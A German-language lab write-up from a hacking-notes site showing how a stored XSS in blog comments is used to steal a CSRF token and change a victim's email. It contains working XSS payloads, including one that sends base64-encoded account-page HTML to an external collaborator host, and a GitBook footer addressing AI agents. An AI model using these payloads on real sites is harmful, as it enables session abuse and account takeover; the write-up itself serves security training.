> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS zur Umgehung von CSRF-Abwehrmaßnahmen

### Ausnutzung von XSS, um CSRF-Schutzmechanismen zu umgehen

Dieses Lab enthält eine gespeicherte XSS-Schwachstelle in der Blog-Kommentar-Funktion. Ziel ist es, diese Schwachstelle auszunutzen, um den CSRF-Token von einem Benutzer zu stehlen, der die Kommentare aufruft, und ihn dann zu verwenden, um die E-Mail-Adresse dieses Kontos zu ändern. Sie können sich mit den folgenden Zugangsdaten verbinden: `wiener:peter`.

* Auf der Seite gibt es ein Feld zum Aktualisieren der E-Mail.

<figure><img src="/files/8f64555a8f85e5aa6ecd81acd579001dec3eb791" alt=""><figcaption></figcaption></figure>

* Auf der Seite gibt es ein Feld zum Aktualisieren der E-Mail.
* Durch das Abfangen der Aktualisierungsanfrage werden die Parameter sichtbar (Beispiel):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/eb541b56946001abe41b32b37031afe0e455e34d" alt=""><figcaption></figcaption></figure>

Vorgehen:

<figure><img src="/files/b9cd3e84a120c052947a5d9d29a6de84acc6c049" alt=""><figcaption></figcaption></figure>

1. Veröffentlichen Sie einen Kommentar mit einem Skript, das, wenn die Seite vom Opfer aufgerufen wird, HTML von der Kontoseite abruft (`/my-account`) mithilfe einer synchronen oder asynchronen Anfrage.
2. Exfiltrieren Sie dieses HTML an einen kontrollierten Lauschserver (bei Bedarf in Base64 kodiert).
3. Holen Sie sich auf der Angreiferseite den CSRF-Token zurück und führen Sie von einem zweiten Skript, das im Kontext des Opfers ausgeführt wird, eine POST-Anfrage an `/my-account/change-email` aus, indem Sie sowohl die neue Adresse als auch den wiederhergestellten CSRF-Token angeben — die Anfrage verwendet das Sitzungs-Cookie des Opfers, da das Skript in dessen Browser ausgeführt wird.

Exfiltrieren des Quellcodes der Kontoseite an einen Lauschserver (in Base64 kodiert):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/42d37fe523d2146f3bcd2b375dcc48311ccce6d3" alt=""><figcaption></figcaption></figure>

Beobachtetes Ergebnis:

* Auf unserer Infrastruktur gehen zwei Anfragen ein, die HTML in Base64-kodierter Form enthalten.

<figure><img src="/files/5c50c678e52b99abb3382789453cbe259b4d866e" alt=""><figcaption></figcaption></figure>

* Nach dem Dekodieren enthält das HTML die Kontoinformationen: Benutzername `Administrator`, aktuelle E-Mail und CSRF-Token in einem `Eingabe` Feld (z. B. `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` im angegebenen Beispiel).

<figure><img src="/files/cb3add388a1b6a92e4e4ffa165128078b7046d26" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Ihr Benutzername ist: administrator</p>
    <p>Ihre E-Mail ist: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>E-Mail</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> E-Mail aktualisieren </button>
        </form>
</div>
```

Wiederherstellung des CSRF-Tokens aus dem HTML und Absenden einer E-Mail-Änderung (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
